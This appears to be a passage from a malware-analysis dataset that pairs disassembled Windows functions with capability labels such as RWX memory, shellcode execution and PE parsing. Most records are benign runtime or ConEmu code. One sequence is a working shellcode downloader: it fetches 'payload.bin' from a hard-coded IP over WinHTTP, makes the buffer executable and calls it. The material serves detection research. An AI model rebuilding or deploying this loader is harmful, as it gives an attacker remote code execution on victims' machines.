joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001050
Capabilities:
Initialize winhttp library

Disassembly:
jmp 0x140001050
mov qword [rsp + 0x20], r9
mov word [rsp + 0x18], r8w
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rcx + 0x18], rax
mov rcx, qword [rsp + 0x40]
movzx eax, word [rsp + 0x50]
mov word [rcx + 0x28], ax
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x40]
mov qword [rax], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x10], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r11, rax
mov rax, qword [rsp + 0x40]
mov qword [rax], r11
mov rax, qword [rsp + 0x40]
add rsp, 0x38
ret

Function at 0x140001170
Capabilities:
Prepare http request

Disassembly:
jmp 0x140001170
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x40], 0
xor r9d, r9d
mov rax, qword [rsp + 0x60]
movzx r8d, word [rax + 0x28]
mov rdx, qword [rsp + 0x60]
mov rdx, qword [rdx + 0x18]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r11, rax
mov rax, qword [rsp + 0x60]
mov qword [rax + 0x10], r11
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x10], 0
je 0x140001249
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x60]
mov r8, qword [r8 + 0x20]
lea rdx, [0x140026b08]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r11, rax
mov rax, qword [rsp + 0x60]
mov qword [rax + 8], r11
mov rax, qword [rsp + 0x60]
cmp qword [rax + 8], 0
je 0x140001249
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret
Function at 0x140001260
Capabilities:
Receive http response

Disassembly:
jmp 0x140001260
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x24], 0
xor edx, edx
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140001363
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140001358
cmp qword [rsp + 0x28], 0
jne 0x1400012e2
mov edx, dword [rsp + 0x20]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov r11, rax
mov ecx, dword [rsp + 0x20]
mov eax, dword [rsp + 0x24]
add eax, ecx
mov eax, eax
cmp r11, rax
jae 0x140001323
mov ecx, dword [rsp + 0x20]
mov eax, dword [rsp + 0x24]
add eax, ecx
mov edx, eax
mov r8d, 0x42
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x28]
add rdx, rax
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov r11d, dword [rsp + 0x34]
mov eax, dword [rsp + 0x24]
add eax, r11d
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x20], 0
ja 0x1400012a2
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140001380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140001380
sub rsp, 0x78
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov ecx, 0x30
call fcn.140001ee4
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x1400013c8
lea r9, str._payload.bin
mov r8w, 0x118
lea rdx, str.27.124.44.10
mov rcx, qword [rsp + 0x40]
call fcn.140001005
mov qword [rsp + 0x60], rax
jmp 0x1400013d1
mov qword [rsp + 0x60], 0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
call fcn.140001019
test eax, eax
jne 0x140001413
xor r9d, r9d
lea r8, [0x140026b50]
lea rdx, [0x140026b60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x1400014b1
mov rcx, qword [rsp + 0x20]
call fcn.14000101e
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140001447
xor r9d, r9d
lea r8, [0x140026b70]
lea rdx, [0x140026b80]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x1400014b1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140001479
mov edx, 1
mov rcx, qword [rsp + 0x48]
call fcn.14000100f
mov qword [rsp + 0x68], rax
jmp 0x140001482
mov qword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov dword [rsp + 0x30], eax
mov edx, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x78
ret
Function at 0x1400055cc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140006844
nop
cmp dword [0x14002f698], 1
je 0x140005578
mov dword [0x14002f694], 1
mov byte [0x14002f690], r12b
test ebx, ebx
jne 0x140005564
mov rcx, qword [0x1400307c0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140005551
mov rcx, qword [0x1400307b8]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x1400054f0
call fcn.1400022dc
cmp qword [rdi], rax
jne 0x1400054f0
jmp 0x1400054d6
cmp rdi, rsi
jb 0x140005551
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.1400022dc
mov qword [rdi], rax
call rbx
mov rcx, qword [0x1400307c0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x1400307b8]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14000552f
cmp r13, rax
je 0x14000554f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x1400054d6
lea rdx, [0x140026778]
lea rcx, [0x140026668]
call fcn.140005290
lea rdx, [0x140026998]
lea rcx, [0x140026888]
call fcn.140005290
nop
test r12d, r12d
je 0x140005587
mov ecx, 8
call fcn.140006724
test r12d, r12d
jne 0x1400055b2
mov dword [0x14002f698], 1
lea ecx, [r12 + 8]
call fcn.140006724
mov ecx, r15d
call fcn.140005224
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140005440

Function at 0x1400055d8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140005440
Function at 0x140009fec
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.1400022dc
xor ebx, ebx
mov rdi, rax
cmp qword [0x14002fdc8], rbx
jne 0x14000a0f2
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14000a1c7
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000a1c7
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14002fdc8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14002fdd0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14002fdd8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14002fde8], rax
test rax, rax
je 0x14000a0e9
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14002fde0], rax
jmp 0x14000a0f9
mov rax, qword [0x14002fde0]
jmp 0x14000a100
mov rax, qword [0x14002fde0]
mov r11, qword [0x14002fde8]
cmp rax, rdi
je 0x14000a168
cmp r11, rdi
je 0x14000a168
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14002fde8]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14000a168
test rax, rax
je 0x14000a168
call rsi
test rax, rax
je 0x14000a162
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000a162
test byte [rsp + 0x38], 1
jne 0x14000a168
bts ebp, 0x15
jmp 0x14000a1a6
mov rcx, qword [0x14002fdd0]
cmp rcx, rdi
je 0x14000a1a6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000a1a6
call rax
mov rbx, rax
test rax, rax
je 0x14000a1a6
mov rcx, qword [0x14002fdd8]
cmp rcx, rdi
je 0x14000a1a6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000a1a6
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14002fdc8]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000a1c7
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14000a1c9
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1400181b7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14002ee30]
jne 0x14000dfaa
rol rcx, 0x10
test cx, 0xffff
jne 0x14000dfa6
repz ret
ror rcx, 0x10
jmp 0x140018110
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140030020]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140030118]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140018195
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140030020]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400181b7
mov rax, qword [rsp + 0x88]
mov qword [0x140030118], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400300b8], rax
mov rax, qword [0x140030118]
mov qword [0x14002ff90], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400300a0], rax
mov dword [0x14002ff80], 0xc0000409
mov dword [0x14002ff84], 1
mov rax, qword [0x14002ee30]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14002ee38]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140030018], eax
mov ecx, 1
call fcn.140015db4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140029918]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140030018], 0
jne 0x14001823e
mov ecx, 1
call fcn.140015db4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400b5274
Capabilities:
Hide graphical window

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test dl, dl
je 0x1400b52ca
mov rcx, qword [rcx + 0x28]
test rcx, rcx
je 0x1400b52ca
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1400b52ca
mov rdx, qword [rbx + 0x28]
mov r9b, 1
mov r8d, 5
mov byte [rbx + 0x61], 0
mov rcx, rbx
call fcn.1400b5340
mov rcx, qword [rbx]
add rcx, 0x18
call fcn.1400fe114
xor edx, edx
mov rcx, rax
add rsp, 0x20
pop rbx
jmp qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbx]
add rcx, 0x18
mov byte [rbx + 0x61], 1
call fcn.1400fe114
mov edx, 5
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x1400b530d
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1400b530d
mov rdx, qword [rbx + 0x28]
mov r9b, 1
xor r8d, r8d
mov rcx, rbx
call fcn.1400b5340
mov rcx, qword [rbx]
add rcx, 0x18
add rsp, 0x20
pop rbx
jmp fcn.1400fe2d4

Function at 0x1400b546c
Capabilities:
Get graphical window text

Disassembly:
test rcx, rcx
je 0x1400b5544
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x230
mov rax, qword [0x1401f5698]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, rcx
xor edx, edx
xor r9d, r9d
mov r8d, 0x8002
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExW]
mov rbx, rax
test rax, rax
je 0x1400b550c
mov r8d, 0xff
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x1400b5507
cmp word [rsp + 0x20], 0x22
jne 0x1400b5507
cmp word [rsp + 0x2e], 0x22
jne 0x1400b5507
mov edx, 6
xor ecx, ecx
lea rax, [0x140178678]
movzx eax, word [rcx + rax]
cmp word [rsp + rcx + 0x22], ax
jne 0x1400b5507
add rcx, 2
sub rdx, 1
jne 0x1400b54e1
mov rcx, rbx
call fcn.14011e94c
jmp 0x1400b5524
mov rdx, rbx
jmp 0x1400b5499
mov rcx, qword [rdi + 0x18]
xor r9d, r9d
mov edx, 0x112
mov r8d, 0xfff7
call qword [sym.imp.USER32.dll_PostMessageW]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.14012bda0
invalid
invalid
pushfq
invalid

Function at 0x1400b5475
Capabilities:
Get graphical window text

Disassembly:
test rcx, rcx
je 0x1400b5544
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x230
mov rax, qword [0x1401f5698]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, rcx
xor edx, edx
xor r9d, r9d
mov r8d, 0x8002
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExW]
mov rbx, rax
test rax, rax
je 0x1400b550c
mov r8d, 0xff
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x1400b5507
cmp word [rsp + 0x20], 0x22
jne 0x1400b5507
cmp word [rsp + 0x2e], 0x22
jne 0x1400b5507
mov edx, 6
xor ecx, ecx
lea rax, [0x140178678]
movzx eax, word [rcx + rax]
cmp word [rsp + rcx + 0x22], ax
jne 0x1400b5507
add rcx, 2
sub rdx, 1
jne 0x1400b54e1
mov rcx, rbx
call fcn.14011e94c
jmp 0x1400b5524
mov rdx, rbx
jmp 0x1400b5499
mov rcx, qword [rdi + 0x18]
xor r9d, r9d
mov edx, 0x112
mov r8d, 0xfff7
call qword [sym.imp.USER32.dll_PostMessageW]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.14012bda0
invalid
invalid
pushfq
invalid
Function at 0x1400c610c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3f0]
lea ebp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x1401f5698]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x208
call fcn.14012d4b0
mov rcx, qword [0x14022ab50]
lea rdx, [rbp + 0x1d0]
mov r8d, 0x105
mov rcx, qword [rcx + 0x11700]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor edx, edx
mov dword [rsp + 0x20], reloc.SHELL32.dll_ILGetSize
mov r8d, 0x90
lea rcx, [rsp + 0x28]
call fcn.14012d4b0
mov rax, qword [0x14022b560]
lea rdx, str.ConEmuSetup.exe
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 0x40]
lea rax, str.Packages
mov dword [rsp + 0x4c], 1
mov qword [rsp + 0x38], rax
call fcn.1400047d8
lea rax, [rbp - 0x40]
mov dword [rsp + 0x58], 0x104
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x20]
lea rax, [rbp + 0x1d0]
mov dword [rbp - 0x80], 0x88080c
mov qword [rsp + 0x70], rax
lea rax, str.Choose_download_path
mov qword [rsp + 0x78], rax
lea rax, [0x1401759d0]
mov qword [rbp - 0x78], rax
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
xor edi, edi
test eax, eax
je 0x1400c6228
lea edx, [rdi + 0x5c]
lea rcx, [rbp - 0x40]
call fcn.14012dd3c
test rax, rax
je 0x1400c6228
lea r8, [rbp - 0x40]
mov word [rax], di
mov edx, 0x80f
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetDlgItemTextW]
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.14012bda0
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14012a08c
Capabilities:
Set environment variable

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1401f5698]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
test rdx, rdx
je 0x14012a0ca
mov r9d, edx
lea r8, str.0x_08X
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.1401140d0
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14012bda0
add rsp, 0x50
pop rbx
ret

Function at 0x14012a0e4
Capabilities:
Set environment variable

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1401f5698]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rcx
mov rdx, rcx
lea rcx, str.ConEmuHWND
call fcn.14012a08c
test rbx, rbx
je 0x14012a145
and dword [rsp + 0x20], 0
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r9d, dword [rsp + 0x20]
lea r8, [0x140175bf0]
mov edx, 0x10
lea rcx, [rsp + 0x28]
call fcn.1401140d0
lea rdx, [rsp + 0x28]
jmp 0x14012a147
xor edx, edx
lea rcx, str.ConEmuPID
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14012bda0
add rsp, 0x50
pop rbx
ret

Function at 0x14012a168
Capabilities:
Set environment variable

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rdx
mov rdx, rcx
lea rcx, str.ConEmuDrawHWND
call fcn.14012a08c
mov rdx, rbx
lea rcx, str.ConEmuBackHWND
add rsp, 0x20
pop rbx
jmp fcn.14012a08c

Function at 0x14013a4e8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14013a314
Function at 0x401b30
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00407624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401cb8
mov rax, qword [0x00407628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401b7c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401c05
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401b60
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401ced
mov rax, qword [0x00407628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401cd0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401bfe
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401c60
add dword [0x00407624], 1
cmp edi, 8
jae 0x401c33
test dil, 4
jne 0x401ca4
test edi, edi
je 0x401c28
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401cbf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401c28
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401c4c
jmp 0x401c28
add rsi, qword [0x00407628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401bfe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401c28
xor esi, esi
jmp 0x401b87
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401c28
mov rax, qword [0x00407628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402440
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x402494
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40248b
test rsi, rsi
je 0x40248b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402470
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4026d0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4026e0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4026f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402731
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402728
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402733
add rax, 0x28
cmp rax, r9
jne 0x402714
xor eax, eax
ret

Function at 0x4027d0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404360]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40283d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40283d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40283d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402834
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40283f
add rax, 0x28
cmp rax, r9
jne 0x402820
xor eax, eax
add rsp, 0x28
ret

Function at 0x402940
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404360]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402960
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402958
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4029bd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4029b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4029c4
add rax, 0x28
cmp rax, r9
jne 0x4029a0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4029e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404360]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402a4e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a4e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402a4e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402a4e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402a45
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402a55
add rcx, 0x28
